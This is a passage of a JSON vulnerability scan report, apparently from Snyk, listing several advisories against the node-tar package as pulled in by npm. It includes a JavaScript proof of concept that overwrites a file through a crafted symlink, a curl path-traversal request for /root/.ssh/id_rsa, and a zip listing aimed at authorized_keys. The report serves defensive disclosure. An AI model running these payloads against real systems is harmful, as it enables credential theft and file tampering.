"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst 